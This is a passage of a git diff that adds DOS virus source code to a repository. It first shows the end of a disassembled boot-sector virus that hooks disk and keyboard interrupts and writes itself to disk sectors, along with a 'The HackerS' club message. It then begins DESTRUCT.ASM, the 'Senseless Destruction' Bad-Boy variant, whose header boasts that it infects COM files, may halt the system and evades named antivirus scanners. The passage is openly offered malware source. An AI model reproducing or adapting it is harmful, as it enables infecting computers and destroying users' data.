ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add ch,[bp+si+0AAh] + add [bx+si],al + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + test al,0 + add ch,[bp+si+0A0h] + or ch,[bp+si+0A0h] + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + or ch,[bp+si+80h] + mul byte ptr [si] ; ax = data * al + sub [bx+si],al + add [bx+si],al + sub ch,[bp+si+200h] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add ch,[bp+si+0A8h] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + add byte ptr [bx+si],0 + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],2Ah ; '*' + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + test al,0 + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0A0h] + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + sub ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si-7F56h] + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub al,[bx+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si-5556h],ch + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0179e + or [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si+0AAh],ch + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0A00Ah] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add dh,dh + and bp,[bx+si] + add [bx+si],al + push ax + push bx + push cx + push dx + cmp data_0045,1 + jne loc_0021 ; Jump if not equal + cmp data_0044,0 + je loc_0022 ; Jump if equal +loc_0021: + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0022 ; Jump if carry Set + mov dh,data_0044 + mov dl,byte ptr cs:[529h] + mov cx,data_0045 + mov bx,200h + mov ax,201h + int 6Fh ; ??int non-standard interrupt +loc_0022: + pop dx + pop cx + pop bx + pop ax + retn +sub_0003 endp + + db 50h, 53h, 51h, 52h, 32h + dw 0CDE4h ; Data table (indexed access) + db 6Fh + dw 1272h ; Data table (indexed access) + db 32h,0F6h, 2Eh, 8Ah, 16h, 29h + db 05h,0B9h, 21h, 28h,0BBh, 00h + db 02h,0B8h, 01h, 02h,0CDh, 6Fh + db 5Ah, 59h, 5Bh, 58h,0C3h, 50h + db 53h, 51h, 52h, 32h,0E4h,0CDh + db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah + db 16h, 29h, 05h,0B5h, 28h,0BBh + db 7Ch, 06h,0B8h, 09h, 05h,0CDh + db 6Fh, 73h, 05h,0F6h,0C4h, 82h + db 75h, 03h + db 0E8h, 29h, 00h + db 5Ah, 59h, 5Bh, 58h,0C3h, 28h + db 00h, 21h, 02h, 28h, 00h, 22h + db 02h, 28h, 00h, 23h, 02h, 28h + db 00h, 24h, 02h, 28h, 00h, 25h + db 02h, 28h, 00h, 26h, 02h, 28h + db 00h, 27h, 02h, 28h, 00h, 28h + db 02h, 28h, 00h, 29h, 02h + +; +; SUBROUTINE +; + +sub_0005 proc near + push ax + push bx + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0026 ; Jump if carry Set + xor dh,dh ; Zero register + mov dl,byte ptr ds:[529h] + mov cx,2821h + mov bx,200h + mov ax,309h + int 6Fh ; ??int non-standard interrupt + jnc loc_0025 ; Jump if carry=0 + test ah,82h + jnz loc_0026 ; Jump if not zero +loc_0025: + xor bx,bx ; Zero register + call sub_0006 + cmp cs:data_0050,3 + jb loc_0026 ; Jump if below + call sub_0007 +loc_0026: + pop dx + pop cx + pop bx + pop ax + retn +sub_0005 endp + + +; +; SUBROUTINE +; + +sub_0006 proc near + push ax + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0027 ; Jump if carry Set + xor dh,dh ; Zero register + mov dl,byte ptr cs:[529h] + mov cx,1 + mov ax,301h + int 6Fh ; ??int non-standard interrupt +loc_0027: + pop dx + pop cx + pop ax + retn +sub_0006 endp + + +; +; SUBROUTINE +; + +sub_0007 proc near +;* jmp short loc_0028 ;* + db 0EBh, 10h + nop + pop cx + stc ; Set carry flag + inc bx + stc ; Set carry flag + xor cx,di + inc bp + stc ; Set carry flag + push dx + stc ; Set carry flag + push ax + add [bx+si],al + push es + add [bx+si+53h],dx + push cx + push dx + push ds + push es + push si + push di + mov al,byte ptr ds:[529h] + mov byte ptr ds:[701h],al + mov byte ptr ds:[704h],1 + mov byte ptr ds:[702h],0 + mov byte ptr ds:[703h],6 +loc_0029: + mov dh,byte ptr ds:[702h] + mov dl,byte ptr ds:[701h] + xor ch,ch ; Zero register + mov cl,byte ptr ds:[703h] + lea bx,cs:[1277h] ; Load effective addr + mov ax,201h + int 6Fh ; ??int non-standard interrupt + xor bx,bx ; Zero register +loc_0030: + mov al,byte ptr ds:[1282h][bx] + test al,8 + jz loc_0031 ; Jump if zero + or byte ptr ds:[1282h][bx],9 + lea si,ds:[6F6h] ; Load effective addr + lea di,[bx+1277h] ; Load effective addr + mov cx,0Bh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + xor al,al ; Zero register + lea di,[bx+1283h] ; Load effective addr + mov cx,14h + stosb ; Store al to es:[di] + call sub_0008 + jmp short loc_0035 + db 90h +loc_0031: + add bx,20h + cmp bx,200h + jae loc_0032 ; Jump if above or = + jmp short loc_0030 +loc_0032: + cmp byte ptr ds:[703h],9 + jb loc_0033 ; Jump if below + xor byte ptr ds:[702h],1 + mov byte ptr ds:[703h],1 + jmp short loc_0034 +loc_0033: + inc byte ptr ds:[703h] +loc_0034: + inc byte ptr ds:[704h] + cmp byte ptr ds:[704h],7 + ja loc_0035 ; Jump if above + jmp short loc_0029 +loc_0035: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_0007 endp + + +; +; SUBROUTINE +; + +sub_0008 proc near + push ax + push bx + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0036 ; Jump if carry Set + mov dh,byte ptr ds:[702h] + mov dl,byte ptr ds:[701h] + xor ch,ch ; Zero register + mov cl,byte ptr ds:[703h] + lea bx,cs:[1277h] ; Load effective addr + mov ax,301h + int 6Fh ; ??int non-standard interrupt +loc_0036: + pop dx + pop cx + pop bx + pop ax + retn +sub_0008 endp + + db 0E9h, 0Bh + db 0Ah, 'The HackerS' + db 00h, 00h, 00h, 00h,0AAh,0A8h + db 00h,0AAh,0A0h, 00h, 00h, 00h + db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh + db 0AAh,0A0h, 00h, 20h, 00h, 00h + db 00h, 00h, 00h, 0Ah,0AAh, 80h + db 00h, 00h, 00h, 02h + db 7 dup (0AAh) + db 0A8h, 00h, 2Ah,0AAh, 00h, 00h + db 0F6h, 22h, 28h, 00h, 00h,0EBh + db 66h, 90h, 21h, 00h, 02h, 87h + db 0E9h, 00h,0F0h, 91h, 08h, 00h + db 0C8h, 00h, 00h + db ' Welcome to the' + db ' C l u b --The HackerS--' + db ' Hackin', 27h, ' All T' + db 'he Time ' + db 00h, 00h,0FFh,0FFh, 00h, 7Ch + db 00h + db 00h, 9Ch, 50h, 1Eh, 06h, 56h + db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh + db 0C0h, 2Eh,0C6h, 06h, 05h, 04h + db 08h,0A1h, 4Ch, 00h, 3Dh, 26h + db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh + db 06h, 03h, 04h,0A1h, 4Ch, 00h + db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah + db 04h,0A1h, 4Eh, 00h,0A3h,0BEh + db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h + db 26h, 05h,0A3h, 4Ch, 00h, 8Ch + db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h + db 00h, 2Eh,0A3h, 06h, 04h,0A1h + db 26h, 00h, 2Eh,0A3h, 08h, 04h + db 0C7h, 06h, 24h, 00h,0D9h, 04h + db 8Ch,0C8h,0A3h, 26h, 00h,0FBh +loc_0039: + push cs + pop ds + mov si,offset data_0041+40h ; (' ') + mov di,data_0011e + mov cx,200h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop di + pop si + pop es + pop ds + pop ax + popf ; Pop flags + jmp cs:data_0057 + sti ; Enable interrupts + push ax + push cx + push ds + pushf ; Push flags + xor ax,ax ; Zero register + mov ds,ax + in al,60h ; port 60h, keybd scan or sw1 + test al,80h + jnz loc_0042 ; Jump if not zero + mov ah,ds:keybd_flags_1_ + test ah,8 + jz loc_0042 ; Jump if zero + test ah,4 + jz loc_0042 ; Jump if zero + cmp al,53h ; 'S' + jne loc_0040 ; Jump if not equal + cmp byte ptr ds:video_mode_,7 + je loc_0041 ; Jump if equal + cmp cs:data_0050,3 + jb loc_0041 ; Jump if below +;* call sub_0017 ;* + db 0E8h,0B7h, 02h + jmp short loc_0041 +loc_0040: + cmp al,3Fh ; '?' + jne loc_0042 ; Jump if not equal +loc_0041: + mov word ptr ds:warm_boot_flag_,1234h + jmp cs:data_0056 +loc_0042: + popf ; Pop flags + pop ds + pop cx + pop ax + jmp dword ptr cs:data_0052 +;* jmp short loc_0044 ;* + db 0EBh, 0Ah + add [bx+di],al + add [bx+di],al + jo loc_0043 ; Jump if overflow=1 +loc_0043: + popf ; Pop flags + adc [bp+si],ax + add ds:data_0010e[si],bx + push si + push di + push cs + pop ds + mov byte ptr ds:[528h],dh + mov byte ptr ds:[529h],dl + mov byte ptr ds:[52Ah],ch + mov byte ptr ds:[52Bh],cl + mov word ptr ds:[52Ch],es + mov word ptr ds:[52Eh],bx + mov byte ptr ds:[530h],ah + mov byte ptr data_0066,al ; ('WS EXE ') + cmp ah,2 + jb loc_0045 ; Jump if below + cmp ah,5 + ja loc_0045 ; Jump if above + cmp dl,1 + ja loc_0045 ; Jump if above + cmp ch,0 + jne loc_0045 ; Jump if not equal + cmp dh,0 + jne loc_0045 ; Jump if not equal + dec cs:data_0051 + jz loc_0046 ; Jump if zero +loc_0045: + jmp short loc_0047 +loc_0046: + push cs + pop es + mov cs:data_0051,2 + call sub_0009 +loc_0047: + mov dh,byte ptr ds:[528h] + mov dl,byte ptr ds:[529h] + mov ch,byte ptr ds:[52Ah] + mov cl,byte ptr ds:[52Bh] + mov es,word ptr ds:[52Ch] + mov bx,word ptr ds:[52Eh] + mov ah,byte ptr ds:[530h] + mov al,byte ptr data_0066 ; ('WS EXE ') + pop di + pop si + pop es + pop ds + popf ; Pop flags + jmp dword ptr cs:data_0054 + +; +; SUBROUTINE +; + +sub_0009 proc near + push ax + push bx + push cx + push dx + xor ah,ah ; Zero register + int 6Fh ; ??int non-standard interrupt + jc loc_0050 ; Jump if carry Set + xor dh,dh ; Zero register + mov dl,byte ptr cs:[529h] + mov cx,1 + mov bx,200h + mov ax,201h + int 6Fh ; ??int non-standard interrupt + jc loc_0050 ; Jump if carry Set + cmp data_0047,537Ch + je loc_0050 ; Jump if equal + cmp data_0046,0FAFAh + je loc_0048 ; Jump if equal + cmp data_0043,1234h + jne loc_0049 ; Jump if not equal + call sub_0010 + jc loc_0050 ; Jump if carry Set + jmp short loc_0049 +loc_0048: +;* call sub_0011 ;* + db 0E8h, 44h, 00h + jc loc_0050 ; Jump if carry Set +loc_0049: + mov bx,200h +;* call sub_0013 ;* + db 0E8h,0E1h, 00h + jc loc_0050 ; Jump if carry Set +;* call sub_0012 ;* + db 0E8h, 58h, 00h +loc_0050: + pop dx + pop cx + pop bx + pop ax + retn +sub_0009 endp + + +; +; SUBROUTINE +; + +sub_0010 proc near + mul byte ptr [bx+di] ; ax = data * al + sub [bx+si],al + add bl,ch + xor al,90h + dec cx + inc dx + dec bp + and [bx+si],ah + xor bp,ds:data_0036e + add al,[bp+si] + add [bx+si],ax + add dh,[bx+si+0] + rol byte ptr [bp+si],1 ; Rotate + std ; Set direction flag + add al,[bx+si] + or [bx+si],ax + add al,[bx+si] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],dl + add [bx+si],al + add [bx+si],al + add [bx+si],ax + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + push ss + pop es + mov bx,data_0005e + lds si,dword ptr ss:[bx] ; Load 32 bit ptr + push ds + push si + push ss + push bx + mov di,data_0022e + mov cx,0Bh + cld ; Clear direction + +locloop_0051: + lodsb ; String [si] to al + cmp byte ptr es:[di],0 + je loc_0052 ; Jump if equal + mov al,es:[di] +loc_0052: + stosb ; Store al to es:[di] + mov al,ah + loop locloop_0051 ; Loop if cx > 0 + + push es + pop ds + mov [bx+2],ax + mov word ptr [bx],7C2Bh + sti ; Enable interrupts + int 13h ; Disk dl=drive ? ah=func 00h + ; reset disk, al=return status + jc loc_0055 ; Jump if carry Set + mov al,ds:data_0014e + cbw ; Convrt byte to word + mul word ptr ds:data_0017e ; ax = data * ax + add ax,ds:data_0020e + add ax,ds:data_0013e + mov ds:data_0028e,ax + mov ds:data_0023e,ax + mov ax,20h + mul word ptr ds:data_0015e ; ax = data * ax + mov bx,ds:data_0012e + add ax,bx + dec ax + div bx ; ax,dx rem=dx:ax/reg + add ds:data_0023e,ax + mov bx,500h + mov ax,ds:data_0028e + call sub_0015 + mov ax,201h + call sub_0016 + jc loc_0053 ; Jump if carry Set + mov di,bx + mov cx,0Bh + mov si,data_0030e + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_0053 ; Jump if not zero + lea di,[bx+20h] ; Load effective addr + mov si,data_0031e + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_0056 ; Jump if zero +loc_0053: + mov si,data_0029e +loc_0054: + call sub_0014 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_0055: + mov si,7DC0h + jmp short loc_0054 +loc_0056: + mov ax,ds:data_0009e + xor dx,dx ; Zero register + div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data + inc al + mov ds:data_0026e,al + mov ax,ds:data_0023e + mov ds:data_0027e,ax + mov bx,700h +loc_0057: + mov ax,ds:data_0023e + call sub_0015 + mov ax,ds:data_0018e + sub al,ds:data_0025e + inc ax + cmp ds:data_0026e,al + jae loc_0058 ; Jump if above or = + mov al,ds:data_0026e +loc_0058: + push ax + call sub_0016 + pop ax + jc loc_0055 ; Jump if carry Set + sub ds:data_0026e,al + jz loc_0059 ; Jump if zero + add ds:data_0023e,ax + mul word ptr ds:data_0012e ; ax = data * ax + add bx,ax + jmp short loc_0057 +loc_0059: + mov ch,ds:data_0016e + mov dl,ds:data_0032e + mov bx,ds:data_0027e +;* jmp far ptr loc_0001 ;* +sub_0010 endp + + db 0EAh, 00h, 00h, 70h, 00h + +; +; SUBROUTINE +; + +sub_0014 proc near +loc_0060: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_0061 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_0060 + +; External Entry into Subroutine + +sub_0015: + xor dx,dx ; Zero register + div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data + inc dl + mov ds:data_0025e,dl + xor dx,dx ; Zero register + div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data + mov ds:data_0021e,dl + mov ds:data_0024e,ax + +loc_ret_0061: + retn +sub_0014 endp + + +; +; SUBROUTINE +; + +sub_0016 proc near + mov ah,2 + mov dx,ds:data_0024e + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,ds:data_0025e + mov cx,dx + xchg ch,cl + mov dl,ds:data_0032e + mov dh,ds:data_0021e + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + retn +sub_0016 endp + + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' strike any key when ready', 0Dh + db 0Ah, 0 + db 0Dh, 0Ah, 'Disk Boot failure', 0Dh + db 0Ah, 0 + db 'IBMBIO COMIBMDOS COM' + db 18 dup (0) + db 55h,0AAh, 00h, 03h, 00h, 00h + db 01h, 00h, 02h, 00h, 00h, 01h + db 00h, 01h, 00h, 00h, 01h, 00h + db 09h, 00h, 00h, 00h, 00h, 08h + db 00h, 00h, 00h, 00h, 07h, 00h + db 00h, 00h, 00h, 06h, 00h, 00h + db 00h, 00h, 05h, 00h, 00h, 00h + db 0F6h, 04h, 00h, 00h, 00h,0FDh + db 0FFh,0FFh, 00h + db 509 dup (0) + db 03h, 00h, 00h, 00h,0F6h, 02h + db 00h, 00h, 00h,0FDh,0FFh,0FFh + db 00h + db 508 dup (0) + db 0F6h, 01h, 00h, 00h, 00h,0EBh + db 29h, 90h, 22h, 34h, 12h, 00h + db 01h, 00h, 00h, 00h, 00h, 02h + db 02h, 01h, 00h, 02h, 70h, 00h + db 0D0h, 02h,0FDh, 02h, 00h, 09h + db 00h, 02h, 00h + db 8 dup (0) + db 0Fh, 00h, 00h, 00h, 00h, 01h + db 00h + db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h + db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh + db 0B8h, 78h, 7Ch, 50h,0C3h, 73h + db 0Ah + db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h + db 0B0h, 7Ch, 51h,0C3h +loc_0064: + xor ax,ax ; Zero register + mov ds,ax + mov ax,ds:main_ram_size_ + cmp word ptr ds:data_0008e,0 + jne loc_0065 ; Jump if not equal + mov ds:data_0008e,ax + sub ax,7 + mov ds:main_ram_size_,ax +loc_0065: + mov cl,6 + shl ax,cl ; Shift w/zeros fill + push cs + pop ds + mov es,ax + mov si,data_0164e + xor di,di ; Zero register + mov cx,1400h + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + mov ax,400h + push ax + retf + xor ah,ah ; Zero register + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_0066 ; Jump if carry Set + xor dx,dx ; Zero register + mov cx,2821h + mov bx,data_0178e + mov ax,209h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head +loc_0066: +;* mov ax,offset loc_0077 ;* + db 0B8h, 3Ch, 7Ch + push ax + retn + db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h + +locloop_0067: + xor bh,bh ; Zero register + mov al,[si] + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + inc si + loop locloop_0067 ; Loop if cx > 0 + +loc_0068: + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + mov ah,1 + int 16h ; Keyboard i/o ah=function 01h + ; get status, if zf=0 al=char + jnz loc_0068 ; Jump if not zero +;* mov bx,offset loc_0078 ;* + db 0BBh, 43h, 7Ch + push bx + retn + mov ax,cs + mov ds,ax + mov es,ax + mov si,data_0176e + mov di,data_0178e + mov cx,18h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] +;* mov di,offset loc_0081 ;* + db 0BFh, 00h, 7Eh + push di + retn + db 32h,0E4h,0CDh, 13h +loc_0069: + jc loc_0070 ; Jump if carry Set + xor dx,dx ; Zero register + mov cx,1 + mov bx,data_0164e + mov ax,201h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head +loc_0070: +;* mov bx,offset loc_0076 ;* + db 0BBh, 00h, 7Ch + push bx + retn + sub al,7Ch ; '|' + mov ds:data_0175e,ax + mov bx,700h +loc_0071: + mov ax,ds:data_0171e + call sub_0018 + mov ax,ds:data_0167e + sub al,ds:data_0173e + inc ax + push ax + call sub_0019 + pop ax + jc loc_0069 ; Jump if carry Set + sub ds:data_0174e,al + jbe loc_0072 ; Jump if below or = + add ds:data_0171e,ax + mul word ptr ds:data_0165e ; ax = data * ax + add bx,ax + jmp short loc_0071 +loc_0072: + mov ch,ds:data_0166e + mov dl,ds:data_0169e + mov bx,ds:data_0175e +;* jmp far ptr loc_0001 ;* + db 0EAh, 00h, 00h, 70h, 00h +loc_0073: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_0074 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_0073 + +; +; SUBROUTINE +; + +sub_0018 proc near + xor dx,dx ; Zero register + div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data + inc dl + mov ds:data_0173e,dl + xor dx,dx ; Zero register + div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data + mov byte ptr ds:data_0169e+1,dl + mov ds:data_0172e,ax + +loc_ret_0074: + retn +sub_0018 endp + + +; +; SUBROUTINE +; + +sub_0019 proc near + mov ah,2 + mov dx,ds:data_0172e + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,ds:data_0173e + mov cx,dx + xchg ch,cl + mov dx,ds:data_0169e + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + retn +sub_0019 endp + + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' strike any key when ready', 0Dh + db 0Ah, 0 + db 0Dh, 0Ah, 'Disk Boot failure', 0Dh + db 0Ah, 0 + db 'IBMBIO COMIBMDOS COM' + db 42 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/d/DESTRUCT.ASM b/d/DESTRUCT.ASM new file mode 100755 index 0000000..4cc058f --- /dev/null +++ b/d/DESTRUCT.ASM @@ -0,0 +1,541 @@ +; VirusName: Senseless Destruction +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-22-1993 +; +; This is an mutation of Bad-Boy from 'Unknown'. +; Many thanks to the scratch coder of Bad-Boy... +; +; We've tried this virus ourself, and it works just fine. +; It uses the TSR, is non-overwriting, and may halt +; the system. Command files increase by 1069 bytes. +; Originally from Europe discovered in 1991. +; +; This is the second mutation of The Bad Boy virus, +; the first mutation was found in Bulgaria. +; +; McAfee Scan v105 can't find it, and +; S&S Toolkit 6.5 don't find it either. +; I haven't tried with scanners like Fprot/Tbscan, +; but they will probably report some virus structure. +; +; Best Regards : [Metal Militia] +; [The Unforgiven] + +code segment + assume cs:code,ds:code + .radix 16 + org 100 +start: + push word ptr cs:[tabb+2] + push cs + pop ds + jmp loopshit +otto: + jmp start +loopshit: + jmp word ptr cs:[tabb] + +curofs dw ? +files db 0 ;number of infected files from this copy +fsize dw 2 ;size of infected file +ftime dw ? +fdate dw ? +stdint21 dd ? +oldint13 dd ? +oldint21 dd ? +oldint24 dd ? + +;------------- TABLE WITH MODULE PARAMETERS -------------------- +tabb : + dw offset false_mod_1 ;00 + dw offset mod_2 ;02 + dw offset mod_3 ;04 + dw offset mod_4 ;06 ;offset modules + dw offset mod_5 ;08 + dw offset mod_6 ;0a + dw offset mod_7 ;0c + dw offset mod_8 ;0e + + dw offset mod_2 - offset mod_1;10 + dw offset mod_3 - offset mod_2;12 + dw offset mod_4 - offset mod_3;14 + dw offset mod_5 - offset mod_4;16 + dw offset mod_6 - offset mod_5;18 ;size modules + dw offset mod_7 - offset mod_6;1a + dw offset mod_8 - offset mod_7;1c + dw offset myend - offset mod_8;1e + + +;------------- MODULE - 1 - CODER/DECODER ---------------------- +mod_1: + mov bx,offset tabb+2 ;first module to working (module 2) + mov cx,6 ;number of modules to working +mod_1_lp1: + cmp bx,offset tabb+0a + jne mod_1_cont + add 